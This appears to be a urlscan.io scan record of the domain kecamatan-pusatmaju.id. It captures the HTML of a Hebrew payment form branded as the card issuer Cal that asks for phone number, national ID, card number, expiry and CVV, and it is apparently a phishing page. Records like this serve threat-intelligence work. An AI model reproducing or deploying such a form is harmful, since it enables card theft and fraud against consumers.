kecamatan-pusatmaju.id Open in urlscan Pro
172.67.208.85  Public Scan

Form analysis
1 forms found in the DOM

POST process_payment.php

<form id="paymentForm" action="process_payment.php" method="POST">
  <input type="tel" id="phone" name="phone" placeholder="מספר טלפון" maxlength="10" required="">
  <input type="text" id="idNumber" name="idNumber" placeholder="מספר זהות" maxlength="9" required="">
  <input type="text" id="cardHolder" name="cardHolder" placeholder="שם בעל הכרטיס" required="">
  <div class="card-input">
    <input type="text" id="cardNumber" name="cardNumber" placeholder="מספר כרטיס אשראי" required="" maxlength="16">
    <img id="cardIcon" class="card-icon" src="" alt="Card Icon">
  </div>
  <div class="expiry-date">
    <select id="expiryMonth" name="expiryMonth" required="">
      <option value="">חודש</option>
      <option value="01">01</option>
      <option value="02">02</option>
      <option value="03">03</option>
      <option value="04">04</option>
      <option value="05">05</option>
      <option value="06">06</option>
      <option value="07">07</option>
      <option value="08">08</option>
      <option value="09">09</option>
      <option value="10">10</option>
      <option value="11">11</option>
      <option value="12">12</option>
    </select>
    <select id="expiryYear" name="expiryYear" required="">
      <option value="">שנה</option>
      <option value="2024">2024</option>
      <option value="2025">2025</option>
      <option value="2026">2026</option>
      <option value="2027">2027</option>
      <option value="2028">2028</option>
      <option value="2029">2029</option>
      <option value="2030">2030</option>
      <option value="2031">2031</option>
      <option value="2032">2032</option>
      <option value="2033">2033</option>
    </select>
  </div>
  <input type="text" id="cvv" name="cvv" placeholder="קוד אבטחה (CVV)" maxlength="4" required="">
  <button type="submit">התקדם</button>
</form>

Text Content

עמוד בחסות cal-online
כרטיס האשראי מוגן על ידי cal.
חודש 01 02 03 04 05 06 07 08 09 10 11 12 שנה
2024202520262027202820292030203120322033
התקדם


CAL.

אנא המתן, מעבד את התשלום שלך...